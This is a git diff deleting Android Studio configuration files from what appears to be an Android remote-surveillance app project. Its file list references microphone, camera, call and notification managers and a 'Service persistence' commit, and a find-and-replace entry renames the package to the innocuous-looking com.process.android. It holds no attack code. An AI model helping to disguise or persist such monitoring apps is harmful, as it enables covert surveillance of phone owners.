diff --git a/APK_SouceCode/.idea/libraries/Gradle__junit_junit_4_12_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
deleted file mode 100644
index 9d5b63d..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: junit:junit:4.12@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/2973d150c0dc1fefe998f834810d68f278ea58ec/junit-4.12.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/a6c32b40bf3d76eca54e3c601e5d1470c86fcdfa/junit-4.12-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
deleted file mode 100644
index 5e35c65..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: org.hamcrest:hamcrest-core:1.3@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/42a25dc3219429f0e5d060061f71acb49bf010a0/hamcrest-core-1.3.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/1dc37250fbc78e23a65a67fbbaf71d2e9cbc3c0b/hamcrest-core-1.3-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
deleted file mode 100644
index b3ceb50..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: org.hamcrest:hamcrest-integration:1.3@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/5de0c73fef18917cd85d0ab70bb23818685e4dfd/hamcrest-integration-1.3.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/ae7787a563e6a1b1f17fd4ac43be3a3c8830cfda/hamcrest-integration-1.3-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
deleted file mode 100644
index aeb99b3..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: org.hamcrest:hamcrest-library:1.3@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/4785a3c21320980282f9f33d0d1264a69040538f/hamcrest-library-1.3.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/47a7ee46628ab7133129cd7cef1e92657bc275e/hamcrest-library-1.3-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/misc.xml b/APK_SouceCode/.idea/misc.xml
deleted file mode 100644
index f797995..0000000
--- a/APK_SouceCode/.idea/misc.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="1.8" project-jdk-type="JavaSDK">
-    <output url="file://$PROJECT_DIR$/build/classes" />
-  </component>
-  <component name="ProjectType">
-    <option name="id" value="Android" />
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/modules.xml b/APK_SouceCode/.idea/modules.xml
deleted file mode 100644
index de76d58..0000000
--- a/APK_SouceCode/.idea/modules.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="ProjectModuleManager">
-    <modules>
-      <module fileurl="file://$PROJECT_DIR$/APK_SouceCode.iml" filepath="$PROJECT_DIR$/APK_SouceCode.iml" />
-      <module fileurl="file://$PROJECT_DIR$/app/app.iml" filepath="$PROJECT_DIR$/app/app.iml" />
-    </modules>
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/runConfigurations.xml b/APK_SouceCode/.idea/runConfigurations.xml
deleted file mode 100644
index 9b770a6..0000000
--- a/APK_SouceCode/.idea/runConfigurations.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="RunConfigurationProducerService">
-    <option name="ignoredProducers">
-      <set>
-        <option value="org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer" />
-        <option value="org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer" />
-        <option value="org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer" />
-      </set>
-    </option>
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/vcs.xml b/APK_SouceCode/.idea/vcs.xml
deleted file mode 100644
index 2e3f692..0000000
--- a/APK_SouceCode/.idea/vcs.xml
+++ /dev/null
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="VcsDirectoryMappings">
-    <mapping directory="$PROJECT_DIR$/.." vcs="Git" />
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/workspace.xml b/APK_SouceCode/.idea/workspace.xml
deleted file mode 100644
index fc60676..0000000
--- a/APK_SouceCode/.idea/workspace.xml
+++ /dev/null
@@ -1,704 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="AndroidLayouts">
-    <shared>
-      <config />
-    </shared>
-  </component>
-  <component name="AndroidLogFilters">
-    <option name="TOOL_WINDOW_LOG_LEVEL" value="verbose" />
-    <option name="TOOL_WINDOW_CONFIGURED_FILTER" value="Show only selected application" />
-  </component>
-  <component name="AvailableLibraryUpdateStorage">
-    <library-updates>
-      <library-update>
-        <group-id>io.socket</group-id>
-        <name>socket.io-client</name>
-        <version>1.0.0</version>
-        <repository>JCenter</repository>
-      </library-update>
-    </library-updates>
-    <last-search-timestamp>1566851843099</last-search-timestamp>
-  </component>
-  <component name="ChangeListManager">
-    <list default="true" id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="">
-      <change afterPath="$PROJECT_DIR$/APK_SouceCode.iml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-=======
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-      <change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-      <change beforePath="$PROJECT_DIR$/.idea/modules.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/client.iml" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../assets/views/builder.ejs" beforeDir="false" afterPath="$PROJECT_DIR$/../assets/views/builder.ejs" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../includes/apkBuilder.js" beforeDir="false" afterPath="$PROJECT_DIR$/../includes/apkBuilder.js" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../includes/expressRoutes.js" beforeDir="false" afterPath="$PROJECT_DIR$/../includes/expressRoutes.js" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../index.js" beforeDir="false" afterPath="$PROJECT_DIR$/../index.js" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../package-lock.json" beforeDir="false" afterPath="$PROJECT_DIR$/../package-lock.json" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../package.json" beforeDir="false" afterPath="$PROJECT_DIR$/../package.json" afterDir="false" />
-=======
-      <change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/app/app.iml" beforeDir="false" afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/app/build.gradle" beforeDir="false" afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/app/release/app-release.apk" beforeDir="false" afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" beforeDir="false" afterPath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" beforeDir="false" afterPath="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/AndroidManifest.xml" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/classes.dex" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout/activity_main.xml" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/resources.arsc" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values-w820dp-v13/dimens.xml" beforeDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" afterDir="false" />
-      <change beforePath="$PROJECT_DIR$/../server/assets/views/changePassword.ejs" beforeDir="false" />
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-    </list>
-    <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
-    <option name="SHOW_DIALOG" value="false" />
-    <option name="HIGHLIGHT_CONFLICTS" value="true" />
-    <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
-    <option name="LAST_RESOLUTION" value="IGNORE" />
-  </component>
-  <component name="DefaultGradleProjectSettings">
-    <option name="isMigrated" value="true" />
-  </component>
-  <component name="ExecutionTargetManager" SELECTED_TARGET="d05a03e7d830" />
-  <component name="ExternalProjectsManager">
-    <system id="GRADLE">
-      <state>
-        <projects_view />
-      </state>
-    </system>
-  </component>
-  <component name="FileEditorManager">
-    <leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
-          <provider selected="true" editor-type-id="text-editor">
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-            <state relative-caret-position="323">
-              <caret line="23" column="54" selection-start-line="23" selection-start-column="54" selection-end-line="23" selection-end-column="54" />
-=======
-            <state relative-caret-position="374">
-              <caret line="26" column="9" selection-start-line="26" selection-start-column="9" selection-end-line="26" selection-end-column="9" />
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/PermissionManager.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="68">
-              <caret line="10" column="24" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="30" />
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state>
-              <folding>
-                <element signature="imports" expanded="true" />
-              </folding>
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="true">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="539">
-              <caret line="199" selection-start-line="199" selection-end-line="201" selection-end-column="5" />
-              <folding>
-                <element signature="imports" expanded="true" />
-                <element signature="e#5451#6425#0" expanded="true" />
-                <element signature="e#6424#6425#0" expanded="true" />
-                <element signature="e#7095#7096#0" expanded="true" />
-                <element signature="e#7197#7198#0" expanded="true" />
-              </folding>
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/NotificationListener.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="119">
-              <caret line="17" column="40" selection-start-line="17" selection-start-column="40" selection-end-line="17" selection-end-column="40" />
-              <folding>
-                <element signature="e#457#458#0" expanded="true" />
-                <element signature="e#500#501#0" expanded="true" />
-              </folding>
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/build.gradle">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="46">
-              <caret line="10" column="24" selection-start-line="10" selection-start-column="24" selection-end-line="10" selection-end-column="24" />
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="165">
-              <caret line="19" column="36" selection-start-line="19" selection-start-column="36" selection-end-line="19" selection-end-column="36" />
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="187">
-              <caret line="15" column="64" selection-start-line="15" selection-start-column="64" selection-end-line="15" selection-end-column="64" />
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MyReceiver.java">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="68">
-              <caret line="8" column="20" selection-start-line="8" selection-start-column="20" selection-end-line="8" selection-end-column="20" />
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="367">
-              <caret line="76" selection-start-line="76" selection-end-line="76" />
-            </state>
-          </provider>
-          <provider editor-type-id="android-manifest" />
-        </entry>
-      </file>
-    </leaf>
-  </component>
-  <component name="FindInProjectRecents">
-    <findStrings>
-      <find>http://</find>
-      <find>com.etechd.l3mon</find>
-    </findStrings>
-    <replaceStrings>
-      <replace>com.process.android</replace>
-    </replaceStrings>
-  </component>
-  <component name="GenerateSignedApkSettings">
-    <option name="KEY_STORE_PATH" value="C:\Users\Chris\Documents\Private\L3MON\xwizer.jks" />
-    <option name="KEY_ALIAS" value="key0" />
-    <option name="REMEMBER_PASSWORDS" value="true" />
-    <option name="BUILD_TARGET_KEY" value="apk" />
-  </component>
-  <component name="Git.Settings">
-    <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$/.." />
-  </component>
-  <component name="IdeDocumentHistory">
-    <option name="CHANGED_PATHS">
-      <list>
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
-        <option value="$PROJECT_DIR$/app/src/main/res/values/strings.xml" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
-        <option value="$PROJECT_DIR$/L3MON-Client.iml" />
-        <option value="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" />
-        <option value="$PROJECT_DIR$/.idea/workspace.xml" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
-        <option value="$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
-        <option value="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" />
-        <option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
-        <option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
-        <option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
-        <option value="$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" />
-        <option value="$PROJECT_DIR$/app/build.gradle" />
-        <option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" />
-      </list>
-    </option>
-  </component>
-  <component name="ProjectFrameBounds" extendedState="6">
-    <option name="x" value="490" />
-    <option name="y" value="-10" />
-    <option name="width" value="790" />
-    <option name="height" value="1000" />
-  </component>
-  <component name="ProjectLevelVcsManager" settingsEditedManually="true" />
-  <component name="ProjectView">
-    <navigator proportions="" version="1">
-      <foldersAlwaysOnTop value="true" />
-    </navigator>
-    <panes>
-      <pane id="Scope" />
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-=======
-      <pane id="AndroidView">
-        <subPane>
-          <expand>
-            <path>
-              <item name="client" type="1abcf292:AndroidViewProjectNode" />
-              <item name="app" type="feadf853:AndroidModuleNode" />
-            </path>
-            <path>
-              <item name="client" type="1abcf292:AndroidViewProjectNode" />
-              <item name="app" type="feadf853:AndroidModuleNode" />
-              <item name="java" type="edd41e36:AndroidSourceTypeNode" />
-            </path>
-            <path>
-              <item name="client" type="1abcf292:AndroidViewProjectNode" />
-              <item name="app" type="feadf853:AndroidModuleNode" />
-              <item name="java" type="edd41e36:AndroidSourceTypeNode" />
-              <item name="app" type="cbb59c9e:AndroidPsiDirectoryNode" />
-            </path>
-            <path>
-              <item name="client" type="1abcf292:AndroidViewProjectNode" />
-              <item name="Gradle Scripts" type="ae0cef3a:AndroidBuildScriptsGroupNode" />
-            </path>
-          </expand>
-          <select />
-        </subPane>
-      </pane>
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-      <pane id="ProjectPane" />
-      <pane id="PackagesPane" />
-      <pane id="AndroidView" />
-    </panes>
-  </component>
-  <component name="PropertiesComponent">
-    <property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\XploitSpy\client\app" />
-    <property name="ExportApk.BuildVariants" value="release" />
-    <property name="ExportApk.SignV1" value="true" />
-    <property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
-    <property name="android.sdk.path" value="$USER_HOME$/AppData/Local/Android/Sdk" />
-    <property name="device.picker.selection" value="8fad6827" />
-    <property name="last_opened_file_path" value="$PROJECT_DIR$" />
-    <property name="project.structure.last.edited" value="Dependencies" />
-    <property name="project.structure.proportion" value="0.17" />
-    <property name="project.structure.side.proportion" value="0.2" />
-    <property name="settings.editor.selected.configurable" value="editor.preferences.import" />
-  </component>
-  <component name="PsdUISettings">
-    <option name="LAST_EDITED_BUILD_TYPE" value="release" />
-  </component>
-  <component name="RunDashboard">
-    <option name="ruleStates">
-      <list>
-        <RuleState>
-          <option name="name" value="ConfigurationTypeDashboardGroupingRule" />
-        </RuleState>
-        <RuleState>
-          <option name="name" value="StatusDashboardGroupingRule" />
-        </RuleState>
-      </list>
-    </option>
-  </component>
-  <component name="RunManager">
-    <configuration default="true" type="AndroidJUnit" factoryName="Android JUnit">
-      <option name="TEST_OBJECT" value="class" />
-      <option name="WORKING_DIRECTORY" value="$MODULE_DIR$" />
-      <method v="2">
-        <option name="Android.Gradle.BeforeRunTask" enabled="true" />
-      </method>
-    </configuration>
-    <configuration name="app" type="AndroidRunConfigurationType" factoryName="Android App" activateToolWindowBeforeRun="false">
-      <module name="app" />
-      <option name="DEPLOY" value="true" />
-      <option name="DEPLOY_APK_FROM_BUNDLE" value="false" />
-      <option name="DEPLOY_AS_INSTANT" value="false" />
-      <option name="ARTIFACT_NAME" value="" />
-      <option name="PM_INSTALL_OPTIONS" value="" />
-      <option name="DYNAMIC_FEATURES_DISABLED_LIST" value="" />
-      <option name="ACTIVITY_EXTRA_FLAGS" value="" />
-      <option name="MODE" value="default_activity" />
-      <option name="CLEAR_LOGCAT" value="false" />
-      <option name="SHOW_LOGCAT_AUTOMATICALLY" value="false" />
-      <option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" />
-      <option name="FORCE_STOP_RUNNING_APP" value="true" />
-      <option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" />
-      <option name="USE_LAST_SELECTED_DEVICE" value="false" />
-      <option name="PREFERRED_AVD" value="" />
-      <option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" />
-      <option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" />
-      <option name="DEBUGGER_TYPE" value="Auto" />
-      <Auto>
-        <option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
-        <option name="SHOW_STATIC_VARS" value="true" />
-        <option name="WORKING_DIR" value="" />
-        <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
-        <option name="SHOW_OPTIMIZED_WARNING" value="true" />
-      </Auto>
-      <Hybrid>
-        <option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
